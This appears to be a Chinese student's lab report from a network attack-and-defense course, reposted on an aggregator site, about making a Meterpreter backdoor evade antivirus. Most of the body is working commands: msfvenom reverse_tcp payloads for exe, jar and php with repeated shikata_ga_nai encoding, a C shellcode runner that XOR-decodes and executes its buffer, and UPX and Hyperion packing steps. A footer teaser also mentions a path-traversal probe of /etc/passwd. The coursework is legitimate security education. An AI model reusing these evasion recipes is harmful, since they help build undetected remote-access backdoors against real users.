20222319 2024-2025-1 《网络与系统攻防技术》实验三实验报告

news/2025/1/15 17:24:53/文章来源:https://www.cnblogs.com/20222319zzs/p/18487381

1.实验内容

1.1 实验目的

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 关键问题回答

(1)杀软是如何检测出恶意代码的?

1.检测特征码:杀毒软件拥有一套特征库,通过检索程序代码是否与库中的特征码匹配来判断某段代码是否属于病毒

2.启发式恶意软件检测:如果程序的特征和行为与病毒程序类似,且匹配程度达到一定值,则认为该程序是病毒程序

3.基于行为检测:通过监视恶意代码运行过程,如系统监视工具观察恶意代码运行时系统环境的变化,或跟踪恶意代码执行过程使用的系统函数和指令特征来分析恶意代码功能,如出现恶意行为,则属于恶意代码

4.基于文件校验和:该病毒检测技术主要依赖于计算文件的校验和(如MD5、SHA-1等),并将其与已知的正常文件的校验和进行比较。其核心思想是,恶意软件通常会修改文件内容,从而改变其校验和值。因此,通过定期或不定期地检查文件的校验和是否与正常值一致,可以检测文件是否被篡改或感染病毒

5.云查杀:是一种依赖于云端病毒库的检测方法。与传统的客户端病毒库不同,云查杀的病毒库存储在服务器端,这使得病毒库可以实时更新,而不需要用户手动更新本地病毒库。

(2)免杀是做什么?

指通过各种手段使恶意软件规避杀毒软件和安全检测系统的识别和拦截,从而在目标系统中成功执行。

(3)免杀的基本方法有哪些?

  1. 修改校验和:是一种免杀技术,其核心在于改变文件的特定区域,从而使文件的校验和(如MD5或SHA-1)发生变化。这种方法可以欺骗依赖于校验和检测的反病毒软件,因为校验和(即哈希值)的变化意味着文件内容发生了变化,即使这种变化是微小的。

  2. 修改特征码:指通过改变恶意代码中的特定序列(即特征码),来避免被杀毒软件检测。这些特征码是杀毒软件用来判断恶意软件的关键标识,通过修改这些特定的字节序列,可以使恶意软件逃避检测。

  3. 花指令免杀:指在程序的shellcode或特征代码区域添加无实际意义的垃圾指令。这些指令不会改变程序的运行逻辑,但可以干扰反编译和杀毒软件的特征码检测。

  4. 加壳免杀:是通过使用加密壳来隐藏恶意代码的特征码,使得杀毒软件无法通过特征码匹配来识别恶意软件。加壳技术可以掩盖原始的特征码,但根据实验结果显示,当前的杀毒软件大多能做到较准确地识别加壳的病毒。

2.实验过程

2.1任务一 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

此时
linux虚拟机ip为————192.168.56.103
windows主机ip为———192.168.1.115

首先将实验二中生成的后门文件放入专门用于病毒扫描的网站进行病毒检测评估
本实验中我选用的是Virustatol网站,


结果显示,该后门程序在各大病毒扫描引擎面前很容易便被识别出来,因此,对其进行相应的免杀操作显然是本次实验的重中之重。

2.1.1.1对于多次编码后exe文件的免杀效果

首先在虚拟机命令行输入>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_1.exe

与实验二不同的是,这行代码中加入了如下参数

-e 参数指定使用的编码器。
x86/shikata_ga_nai 是一个逃避杀软检测的编码器,它可以使payload更难被静态分析工具检测到。
-b 参数指定需要避免的字节。这里\x00代表空字节,防止程序执行时提前结束

事实证明,本次编码确实是有一点用,但也确实不多,免杀效果有限,
但这次编码仅仅编码了一次,若是编码更多次是否可以有更好地静态检测免杀效果?
于是我们在命令行中输入以下指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_10.exe

其中

-i 10 表示编码10次


可事实证明,其免杀效果甚至还提高了,一种解释是多次编码后程序的存储占用更大,其代码复杂性也就越高,可能引入异常或不稳定行为,易引起查毒引擎特征库的注意

2.1.1.2对于多次编码后jar文件的免杀效果

众所周知,exe文件在windows系统中非常常见,因此杀毒引擎必然对以其为载体的病毒文件更为关注,那么其他格式的病毒文件编码后的被查杀效果会不会更低一些呢?

于是我们在虚拟机命令行中输入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_1.jar
生成一份编码一次的jar病毒文件

再在命令行中输入指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_10.jar
生成编码10次的jar病毒文件

结果显示,jar文件的免杀率仅仅为exe文件的一半,免杀效果更好。
因为jar属于Java代码,其在运行前需要通过Java虚拟机(JVM)进行解释执行,这增加了分析的复杂性。但相对的,这也要求用户也必须安装了java环境,该jar文件才能执行。所以有得也有失,必须结合实际情况来用。

2.1.1.3对于多次编码后php文件的免杀效果

在虚拟机命令行中输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_1.php

在虚拟机命令行中输入msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_10.php

结果好的出奇!已经是能避免大部分杀毒引擎的查杀了,原因可能是许多正常的网站和应用程序也会包含PHP脚本,这可能导致杀毒软件若是严格检测则会产生较多的误报,因此杀毒软件可能对PHP文件的检测更为宽松,以减少误报对正常业务的影响。

2.1.2利用shellcode编程进行免杀测试

此时
linux虚拟机ip为————192.168.50.192
windows主机ip为———192.168.1.115

在虚拟机命令行中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 -f c
生成一个包含 Meterpreter 反向 TCP 连接 payload 的 C 语言源代码文件

然后用此代码写一个c语言文件如下,其中主函数仅用于实现buf数组中以十六进制编码的shellcode


免杀效果一般。

2.1.3利用加壳手段进行免杀测试

2.1.3.1对于压缩壳

在虚拟机命令行中输入upx 20222319.exe -o 20222319shellcode_upx.exe给上一步骤生成的Shellcode加层壳,


结果显示不仅没有加强免杀效果,甚至还更容易被检测到了,也许杀毒软件的启发式分析引擎可能会将压缩文件视为高风险对象,尤其是当它们包含未知或可疑的可执行内容时。这种分析可能导致压缩的后门文件更容易被标记为可疑。

2.1.3.2对于加密壳

在虚拟机命令行中输入cp 20222319.exe /usr/share/windows-resources/hyperion/
将目标文件,也即等待加密的文件放入加密程序所在的目录下
再输入cd /usr/share/windows-resources/hyperion/进入这一目录下
最后输入wine hyperion.exe -v 20222319.exe 20222319Shellcode_hyp.exe即可为目标后门文件加一层加密的壳

通过nc传输到主机上,并交付病毒测试平台进行测试

可见文件更容易被查杀了。

2.2任务二:通过组合应用各种技术实现恶意代码免杀

在虚拟机命令行输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f c

将输出的十六进制后门代码放入写好的c文件里逐一异或0x01,得到异或后的代码


再输入vi Shell20222319encoded_10.c打开该c文件

为程序添加主函数int main(){ for (i = 0; i < sizeof(buf); i++) {buf[i] ^= 0x01;} int (*func)() = (int(*)())buf; func(); }
使得程序未执行时处于伪乱码状态,执行时才是后门文件

保存退出后再于命令行输入i686-w64-mingw32-g++ Shell20222319encoded_10.c -o Shell20222319encoded_10.exe
再加一层压缩壳upx Shell20222319encoded_10.exe -o Shell20222319upx_encoded_10.exe

再将该文件放入加密程序所在的目录下并进入其中
cp Shell20222319upx_encoded_10.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
为文件套一层加密壳
wine hyperion.exe -v Shell20222319upx_encoded_10.exe 20222319_END.exe

得到终极后门软件20222319_END.exe

但事实证明杀毒软件不吃这一套,甚至以极高的查杀率终结了这一个终极后门软件。通过nc传输到主机上时直截了当地被360查杀,实验失败
(ó﹏ò。)

3.问题及解决方案

  • 问题1:XXXXXX
  • 问题1解决方案:XXXXXX
  • 问题2:XXXXXX
  • 问题2解决方案:XXXXXX - ...

4.学习感悟、思考等

在本次实验中,我不仅掌握了通过编码器、C Shellcode、加壳等技术手段进行免杀操作,还深入理解了免杀技术的原理,认识到,静态检测主要依赖于特征匹配和行为分析,而动态检测则侧重于监测程序在运行时的行为,两者相结合可以更有效地识别恶意软件。

本实验对我而言存在着两个难点,一是在安装Veil时尽管搜索了网络上大部分安装bug解决方法,邀请了成功安装的同学参与调试安装,但veil始终安装不下来。

第二个难点是如何确保这一个后门软件能够真正逃过市面上主流杀毒软件的查杀。我通过实验发现,即使是经过精心设计的免杀技术,也不能保证100%的成功率,就像我那一个终极后门软件。这要求我在实际操作中不断调整和优化免杀策略,以适应不断变化的安全环境。
事实还是证明,道高一尺,魔高一丈,市面上主流杀毒软件,其功能还是相当强大的。

参考资料

  • 0x23_MAL_免杀原理与实践.md》
  • ...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824895.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[ACTF2020 新生赛]Include

链接:https://buuoj.cn/challenges#[ACTF2020 新生赛]Include 打开环境后如下,只有一个 "tips" 的超链接。访问 tips,留意传入了 "file" 参数。接下来,可以尝试下路径穿越:?file=flag.php../../../../../etc/passwd。可以看到,存在路径穿越漏洞,但…

Java面试题中高级进阶(JVM篇Java内存)

本来想着给自己放松一下,刷刷博客,突然被几道面试题难倒!说说Java内存结构?说说对象分配规则?描述一下JVM加载class文件的原理机制?似乎有点模糊了,那就大概看一下面试题吧。好记性不如烂键盘前言 本来想着给自己放松一下,刷刷博客,突然被几道面试题难倒!说说Java内存…

20222409 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容 1.1 本周学习内容 1.1.1 后门工具使用 * Netcat: 用于端口探测、局域网通信、文件传输,以及正向和反向连接的测试。 * Meterpreter: 作为Metasploit框架中的载荷模块,常用于溢出攻击成功后的控制会话,提供持久化的控制通道。 * Veil-Evasion: Linux平台上的免杀工…

VMwareWorkstation pro 17安装Win11(亲测好用)

1、安装包我用夸克网盘分享了「Win11_23H2_China_GGK_Chinese_Simplified_x64v2.iso」,点击链接即可保存。打开「夸克APP」: 链接:https://pan.quark.cn/s/817ccfc90f29 提取码:pPn1 2、安装教程(基于WMware workstation pro 17) 1) 打开WMware Workstation,点击创…

论文速读记录 - 202410

秋意浓,看几篇论文解解乏吧~坚持看论文不容易啊,十月也是多事之秋。看的论文有点少,也有点散,还是要专注一些具体的方向,梳理脉络,整理方案,才是看论文找解决方案的正确思路。 以后的每篇论文解读的后面,会附带一点个人看法/评论,如有冒犯还请见谅。 目录:LATE CHUNK…

现场可编程逻辑门阵列(FPGA)可应用的领域有哪些

现场可编程逻辑门阵列(FPGA)是一种能够根据需求现场编程的集成电路,能提供灵活的硬件解决方案。FPGA可应用的领域有信号处理、通信系统、工业自动化、医疗设备、军事与航空、金融计算、图像处理和视频分析等。其中,在信号处理方面,FPGA可以执行复杂的并行计算,用于滤波和…

NOIP2023 做题笔记

NOIP将近,由于我实力太菜,所以只能写写真题提升自己了。 P9868 [NOIP2023] 词典 简单字符串题,注意到可以换无限次,所以直接处理出每个字符串中最小的字符数和最大字符数就行了。#include<bits/stdc++.h> #define mxn 3010 using namespace std; char s[mxn][mxn]; i…

Windows 多次制作母盘,备份文件变大的问题

公司产品基于Win11 23H2镜像版本制作母盘,我们发现随着版本迭代,基于上一版本母盘生成新母盘备份,母盘文件会越来越大。 此处说明下镜像与母盘文件的区别, 1. 镜像是指操作系统的压缩文件,常见格式是ISO、WIM、ESD,用于安装,有灵活的安装部署选项。 2. 母盘文件是指在某…

怎么利用hadoop搭建自己的云计算

我们为了能够更加方便来识别主机,我们使用主机名而不是使用IP地址,以免多处配置带来更多的麻烦。把hd-master、hd-node1、hd-node2三台虚拟机服务器中的主机名(hostname)分别更改为master、node1、node2。一、怎么利用hadoop搭建自己的云计算 (1) 我们为了能够更加方便来识…

28 计算机网络

两台机器连接就构成的网络 计算机近距离构成的网络叫做局域网,lan;一根电缆连接几台电脑,相互之间通过电缆传输信息。最著名是以太网技术。 一台上传,其余都可以在电缆里收到。为了避免接受无意义信息,每台电脑前加一个

Phonegap和Titanium用作移动开发,各有哪些优缺点

Phonegap和Titanium都是流行的移动开发框架,各自具有独特的优缺点。1、Phonegap:优点包括易学习、跨平台兼容、社区支持丰富;缺点有性能限制、原生功能限制。2、Titanium:优点涵盖了原生体验、强大的性能、大量的自定义选项;缺点则是学习曲线较陡、社区支持有限。例如,Ph…

DBeaver如何插入一行新数据或者复制一行新数据,真方便

前言 我们在使用DBeaver时,经常是需要操作数据库表的,比如新加一行数据等。DBeaver给我们提供了快速的操作方法,今天就来介绍下。 如何插入新数据 首先,我们选中要插入数据的那个位置,就是要选中一行数据。然后,我们点击下面的这两个按钮,其中一个按钮是新增一行,一个按…